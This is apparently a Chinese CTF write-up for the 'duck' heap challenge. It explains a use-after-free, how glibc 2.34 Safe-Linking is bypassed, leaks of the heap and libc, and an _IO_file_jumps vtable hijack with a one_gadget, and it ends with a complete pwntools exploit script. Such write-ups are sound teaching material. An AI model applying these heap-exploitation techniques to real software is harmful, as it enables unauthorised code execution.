[CISCN 2022 华东北]duck
一、题目来源
NSSCTF-Pwn-[CISCN 2022 华东北]duck

二、信息搜集
通过 file 命令查看文件类型:

通过 checksec 命令查看文件开启的保护机制:

题目把 libc 文件和链接器都给我们了,我原本想着能用 pwninit 来初始化环境,但是失败了:
$ pwninit
bin: ./ld.so
libc: ./libc.so.6warning: failed detecting libc version (is the libc an Ubuntu glibc?): failed finding version string
copying ./ld.so to ./ld.so_patched
running patchelf on ./ld.so_patched
writing solve.py stub
看报错信息应该是版本没有匹配到,而且它还错误地把链接器去打了个补丁……
既然本题不能用 pwninit,那么我们就需要手动指定链接器和 libc 文件:
from pwn import *exe = ELF("./pwn")
libc = ELF("./libc.so.6")
ld = ELF("./ld.so")p = process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})
三、反汇编文件开始分析
通过 menu 的输出,我们大概就能知道本程序所实现的功能了:
ssize_t menu()
{puts("1.Add");puts("2.Del");puts("3.Show");puts("4.Edit");return write(1, "Choice: ", 8u);
}
一个一个功能分析。
1、Add
int Add()
{int i; // [rsp+4h] [rbp-Ch]void *v2; // [rsp+8h] [rbp-8h]v2 = malloc(0x100u);for ( i = 0; i <= 19; ++i ){if ( !heaplist[i] ){heaplist[i] = v2;puts("Done");return 1;}}return puts("Empty!");
}
会动态申请一片内存:
- 申请的内存大小为 0x100;
- 通过
heaplist[]这个数组来管理每次申请的 chunk; - 最多能申请 20 个 chunk。
2、Del
int Del()
{int v1; // [rsp+Ch] [rbp-4h]puts("Idx: ");v1 = sub_1249();if ( v1 <= 20 && heaplist[v1] ){free((void *)heaplist[v1]);return puts("Done");}else{puts("Not allow");return v1;}
}
通过指定下标,来定位指定的 chunk,并且对该 chunk 进行 free 操作,但是 free 之后并没有对指针进行置 NULL 操作,从而存在 UAF 的风险。
3、Show
int Show()
{int v1; // [rsp+Ch] [rbp-4h]puts("Idx: ");v1 = sub_1249();if ( v1 <= 20 && heaplist[v1] ){puts((const char *)heaplist[v1]);return puts("Done");}else{puts("Not allow");return v1;}
}
根据指定的 index 来输出 chunk 中的 User Data 部分。
4、Edit
int Edit()
{int v1; // [rsp+8h] [rbp-8h]unsigned int v2; // [rsp+Ch] [rbp-4h]puts("Idx: ");v1 = sub_1249();if ( v1 <= 20 && heaplist[v1] ){puts("Size: ");v2 = sub_1249();if ( v2 > 0x100 ){return puts("Error");}else{puts("Content: ");READ(heaplist[v1], v2);puts("Done");return 0;}}else{puts("Not allow");return v1;}
}
根据指定的 index 在对应 chunk 的 User Data 部分进行修改。
最大可输入长度为 0x100。
四、思路
1、目前可见的攻击手段
- UAF + Show,我们可以通过这个组合来实现 chunk 数据结构信息的泄露。
- UAF + Edit,可以让我们修改在 bin 中的 chunk 的数据结构。
- 2 的衍生就是任意地址写。
2、Safe-Linking
首先,本题的 glibc 版本为 2.34:

这个版本中,针对 Tcache/Fastbin 方面的攻击,引入了 Safe-Linking 保护机制:
/* Safe-Linking:Use randomness from ASLR (mmap_base) to protect single-linked listsof Fast-Bins and TCache. That is, mask the "next" pointers of thelists' chunks, and also perform allocation alignment checks on them.This mechanism reduces the risk of pointer hijacking, as was done withSafe-Unlinking in the double-linked lists of Small-Bins.It assumes a minimum page size of 4096 bytes (12 bits). Systems withlarger pages provide less entropy, although the pointer manglingstill works. */
#define PROTECT_PTR(pos, ptr) \((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
Tcache 中对该保护机制的应用:
/* Caller must ensure that we know tc_idx is valid and there's roomfor more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{tcache_entry *e = (tcache_entry *) chunk2mem (chunk);/* Mark this chunk as "in the tcache" so the test in _int_free willdetect a double free. */e->key = tcache_key;e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]);
}/* Caller must ensure that we know tc_idx is valid and there'savailable chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{tcache_entry *e = tcache->entries[tc_idx];if (__glibc_unlikely (!aligned_OK (e)))malloc_printerr ("malloc(): unaligned tcache chunk detected");tcache->entries[tc_idx] = REVEAL_PTR (e->next);--(tcache->counts[tc_idx]);e->key = 0;return (void *) e;
}
要理解这个保护机制,我们先要了解 Tcache 的 chunk 的插入方式,聚焦代码:
typedef struct tcache_perthread_struct
{uint16_t counts[TCACHE_MAX_BINS];tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{tcache_entry *e = (tcache_entry *) chunk2mem (chunk);/* Mark this chunk as "in the tcache" so the test in _int_free willdetect a double free. */e->key = tcache_key;e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]);
}
抛去保护机制不谈,对插入的部分进行简化得到:
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
这是一个标准的头插法(当前块的 next 指针指向目前的 Tcache 头节点,接着自己作为头节点)。
那么,现在我们就可以知道保护机制做了什么,即对 fd 指针进行:
$$
fd = (Current_chunk_address >> 12) \oplus Next_chunk_address
$$
的处理。
因此,如果我们要绕过保护机制,就需要知道 chunk 的地址。换言之,就是堆的地址我们能否得到。
根据目前我们发现的攻击手段,是可以做到泄露 heap 的基址的。
Safe Linking 虽然使堆利用的难度上升,但是这个机制引发了一个非常有意思的现象。
就是在 Tcache bin 是空的情况下,当有一个 chunk 需要被放入其中的时候,此时的头节点是等于 0 的!
这个信息我们可以在 Tcache 的初始化操作中看出来:
static void
tcache_init(void)
{mstate ar_ptr;void *victim = 0;const size_t bytes = sizeof (tcache_perthread_struct);if (tcache_shutting_down)return;arena_get (ar_ptr, bytes);victim = _int_malloc (ar_ptr, bytes);if (!victim && ar_ptr != NULL){ar_ptr = arena_get_retry (ar_ptr, bytes);victim = _int_malloc (ar_ptr, bytes);}if (ar_ptr != NULL)__libc_lock_unlock (ar_ptr->mutex);/* In a low memory situation, we may not be able to allocate memory- in which case, we just keep trying later. However, wetypically do this very early, so either there is sufficientmemory, or there isn't enough memory to do non-trivialallocations anyway. */if (victim){tcache = (tcache_perthread_struct *) victim;memset (tcache, 0, sizeof (tcache_perthread_struct));}}
关键点:
victim = _int_malloc (ar_ptr, bytes);先从 arena 里 malloc 出一块sizeof (tcache_perthread_struct)的内存。tcache = (tcache_perthread_struct *) victim;把这块内存当成tcache_perthread_struct用。memset (tcache, 0, sizeof (tcache_perthread_struct));把这整个结构体全部置 0。
所以说,在 tcache 初始化完成且某个 bin 还没放过任何 chunk 的情况下,tcache->entries[tc_idx] 一定是 0。
而任何数和 0 进行异或,结果仍然是它本身。于是我们就得到了:
$$
fd = (Current_chunk_address >> 12)
$$
从代码中,我们也可以看出 Tcache 初始化会动态申请一片大小为 sizeof (tcache_perthread_struct) 的内存,根据结构体和对应的宏定义:
typedef struct tcache_perthread_struct
{uint16_t counts[TCACHE_MAX_BINS];tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;# define TCACHE_MAX_BINS 64
- counts 数组:
- 类型为
uint16_t(2 字节) - 数量 64
- 大小:$64 \times 2 = 128$ 字节 (
0x80)
- 类型为
- entries 数组:
- 类型为指针 (8 字节)
- 数量 64
- 大小:$64 \times 8 = 512$ 字节 (
0x200)
- 结构体总数据大小:
0x80 + 0x200 = 0x280 字节
- 加上 Chunk 头 (Header):
0x280 + 0x10 = 0x290 字节
计算得到 Tcache 管理块的大小(size,包含 chunk header)为 0x290。
注意,不同的 glibc 版本的该大小也是有区别的,不要死记,可以根据源码来推导。
分配完 Tcache 管理块之后再分配你申请的 chunk。那么,只要你申请的 chunk 不是很大,这个 chunk 的所在地址就会满足 $\le heap_base_address + 0x1000$。
而堆的地址,根据页对齐的要求,通常是 0x1000 的整数倍。
换言之,我们将此时的 fd 指针的值,进行:
$$
fd = fd << 12
$$
的操作之后,得到的地址很有可能就是堆的基址。
对一个数进行左移 12 位,再进行右移 12 位,就相当于将最低的 12 位比特都清 0 了。
打个比方:
- 堆的起始地址为 0xaa……a000。
- 你申请的 chunk 的所在位置 0xaa……a500。
那么,对 0xaa……a500 依次进行 $>> 12$ 和 $<< 12$ 操作之后,就会得到 0xaa……a000 即堆的基址。
3、hooks 的移除

这也就意味着,打 hook 劫持的思路断掉了。
4、路线
综上,我们得出了可行的利用路线:在泄露堆、libc 基址的情况下,通过任意地址写入,实现劫持 __libc_IO_vtables 中的 IO_jump_t 的实例(比如:IO_file_jumps)为 one_gadget。
五、Poc
1、程序四个功能的实现
def Add():p.sendafter(b'Choice: ',b'1')def Del(index):p.sendafter(b'Choice: ',b'2')p.sendafter(b'Idx: ',index)def Show(index):p.sendafter(b'Choice: ',b'3')p.sendafter(b'Idx: ',index)def Edit(index,size,content):p.sendafter(b'Choice: ',b'4')p.sendafter(b'Idx: ',index)p.sendafter(b'Size: ',size)p.sendafter(b'Content: ',content)
2、泄露堆基址
可以先来验证一下,我们之前分析的对不对,申请一个 chunk:
Add() # 0
gdb.attach(p)
pause()

验证了 Tcache 管理块的大小确实是 0x290。
现在,我们将申请的 chunk 释放:
Add() # 0
Del(b'0')
gdb.attach(p)
pause()

将 fd 指针进行 $fd = fd << 12$ 之后,得到的结果确实是堆的基址。
泄露:
Add() # 0
Del(b'0')Show(b'0')
p.recvline()
leak = u64(p.recvline()[:-1].ljust(8,b'\x00')) << 12
success("heap_base: " + hex(leak))
3、泄露 libc 基址
这个的泄露方法想必大家都不陌生,就是利用 Unsorted bin 的特性。
关键点就在于,如何让 chunk 进入 Unsorted bin?
本题中,申请的 chunk 大小是 0x100,这个大小是符合 Tcache 而不符合 Fastbin 的。
这个信息大家同样可以从 glibc 源码中分析出来,这里展示部分:
#define MAX_FAST_SIZE (80 * SIZE_SZ / 4)# define TCACHE_MAX_BINS 64 # define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)/* Only used to pre-fill the tunables. */ # define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ) ……
而 Unsorted bin 中 chunk 的来源:
- 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
- 释放一个不属于 Tcache bin 或 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
- 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。
根据第二条,我们只要将 Tcache 给填满,即可让 chunk 进入 Unsorted bin,填满的要求:
/* This is another arbitrary limit, which tunables can change. Eachtcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7#if USE_TCACHE,.tcache_count = TCACHE_FILL_COUNT,.tcache_bins = TCACHE_MAX_BINS,.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),.tcache_unsorted_limit = 0 /* No limit. */
#endif
很明显,每一个 Tcache bin 中最多能存放 7 个 chunk,那么当大小为 0x110(算上 chunk header)的 Tcache bin 被填满之后,我们继续释放一个不属于 Fastbin 大小的 chunk,如果这个 chunk 不与 top chunk 相邻,它就会进入 Unsorted bin。
如何不与 top chunk 相邻?
很简单,在第八个 chunk 的后面再申请一个即可,对应的代码:
for i in range(9):Add()
for i in range(1,9):Del(str(i).encode())gdb.attach(p)
pause()
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555577c12a00
Size: 0x110 (with flag bits: 0x111)
fd: 0x7310f94e8cc0
bk: 0x7310f94e8cc0
目前 index 的使用情况:

泄露 libc 地址:
Show(b'8')
p.recvline()
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
offset = 96
main_arena = libc.symbols['main_arena']
libc_base = leak - offset - main_arena
success("libc_base: " + hex(libc_base))
4、劫持
我们劫持的对象是 FILE 结构体中的 vtable 指针所指向的 _IO_jump_t 的实例,将里面的函数地址替换成我们准备好的 one_gadget。
因此,我们需要确定要劫持哪一个 FILE 结构体?
选择一个 IO 函数,比如 puts,在 Glibc 源文件中找到其对应的定义:
#include "libioP.h"
#include <string.h>
#include <limits.h>int
_IO_puts (const char *str)
{int result = EOF;size_t len = strlen (str);_IO_acquire_lock (stdout);if ((_IO_vtable_offset (stdout) != 0|| _IO_fwide (stdout, -1) == -1)&& _IO_sputn (stdout, str, len) == len&& _IO_putc_unlocked ('\n', stdout) != EOF)result = MIN (INT_MAX, len + 1);_IO_release_lock (stdout);return result;
}weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)
其中,用到 FILE 结构体的我们都可以去 glibc 源码中追踪一下其调用流。
拿 _IO_putc_unlocked 举例子,找到其定义:
#define _IO_putc_unlocked(_ch, _fp) __putc_unlocked_body (_ch, _fp)
接着找 __putc_unlocked_body (_ch, _fp) 的定义:
#define __putc_unlocked_body(_ch, _fp) \(__glibc_unlikely ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end) \? __overflow (_fp, (unsigned char) (_ch)) \: (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))
要想理解这段代码,就得对 FILE 的结构有所了解,这里放出与之有关的定义:
struct _IO_FILE
{……char *_IO_read_ptr; /* Current read pointer */char *_IO_read_end; /* End of get area. */char *_IO_read_base; /* Start of putback+get area. */……
};
明显,当缓冲与满了的时候,会调用 __overflow() 函数,这个函数是在 _IO_jump_t 结构体中有定义:
#define JUMP_FIELD(TYPE, NAME) TYPE NAMEstruct _IO_jump_t
{JUMP_FIELD(size_t, __dummy);JUMP_FIELD(size_t, __dummy2);JUMP_FIELD(_IO_finish_t, __finish);JUMP_FIELD(_IO_overflow_t, __overflow); // 在这:刷新缓冲区JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow);JUMP_FIELD(_IO_pbackfail_t, __pbackfail);……
};
我们知道,vtable 指针指向的是该结构体的实例。stdout 中的 vtable 指针指向的就是 _IO_file_jumps。
为什么是这样的对应呢?
依旧从源码出发,在文件 /libio/stdio.c 中可以找到:
FILE *stdout = (FILE *) &_IO_2_1_stdout_;
而 _IO_2_1_stdout_ 的定义如下:
#ifdef _IO_MTSAFE_IO
# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \static _IO_lock_t _IO_stdfile_##FD##_lock = _IO_lock_initializer; \static struct _IO_wide_data _IO_wide_data_##FD \= { ._wide_vtable = &_IO_wfile_jumps }; \struct _IO_FILE_plus NAME \= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \&_IO_file_jumps};
#else
# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \static struct _IO_wide_data _IO_wide_data_##FD \= { ._wide_vtable = &_IO_wfile_jumps }; \struct _IO_FILE_plus NAME \= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \&_IO_file_jumps};
#endifDEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);
DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);
DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);
将宏展开之后可以得到等价定义:
struct _IO_FILE_plus _IO_2_1_stdout_ =
{FILEBUF_LITERAL(...), // 填满前面的 _IO_FILE 那一坨字段&_IO_file_jumps // vtable 指针
};
Poc:
'''
0xda861 execve("/bin/sh", r13, r12)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[r12] == NULL || r12 == NULL || r12 is a valid envp0xda864 execve("/bin/sh", r13, rdx)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp0xda867 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL || rsi is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [libc_base + 0xda861, libc_base + 0xda864, libc_base + 0xda867]_IO_file_jumps = libc_base + libc.symbols['_IO_file_jumps']target = ((heap_base + 0x8f0) >> 12) ^ (_IO_file_jumps) # Safe-Linking,注意 0x8f0 是通过动态调试找到的
Edit(b'7',b'8',p64(target))Add()
Add()Edit(b'11',b'64',p64(0)*3 + p64(one_gadget[1])) # 测试后,第二条 one_gadget 可行。
5、完整 Poc
from heapq import heapify
from pwn import *exe = ELF("./pwn")
libc = ELF("./libc.so.6")
ld = ELF("./ld.so")p = process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})def Add():p.sendafter(b'Choice: ',b'1')def Del(index):p.sendafter(b'Choice: ',b'2')p.sendafter(b'Idx: ',index)def Show(index):p.sendafter(b'Choice: ',b'3')p.sendafter(b'Idx: ',index)def Edit(index,size,content):p.sendafter(b'Choice: ',b'4')p.sendafter(b'Idx: ',index)p.sendafter(b'Size: ',size)p.sendafter(b'Content: ',content)Add() # 0
Del(b'0')Show(b'0')
p.recvline()
heap_base = u64(p.recvline()[:-1].ljust(8,b'\x00')) << 12
success("heap_base: " + hex(heap_base))for i in range(9):Add()
for i in range(1,9):Del(str(i).encode())Show(b'8')
p.recvline()
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
offset = 96
main_arena = libc.symbols['main_arena']
libc_base = leak - offset - main_arena
success("libc_base: " + hex(libc_base))'''
0xda861 execve("/bin/sh", r13, r12)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[r12] == NULL || r12 == NULL || r12 is a valid envp0xda864 execve("/bin/sh", r13, rdx)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp0xda867 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL || rsi is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [libc_base + 0xda861, libc_base + 0xda864, libc_base + 0xda867]_IO_file_jumps = libc_base + libc.symbols['_IO_file_jumps']target = ((heap_base + 0x8f0) >> 12) ^ (_IO_file_jumps)
Edit(b'7',b'8',p64(target))Add()
Add()Edit(b'11',b'64',p64(0)*3 + p64(one_gadget[1]))p.interactive()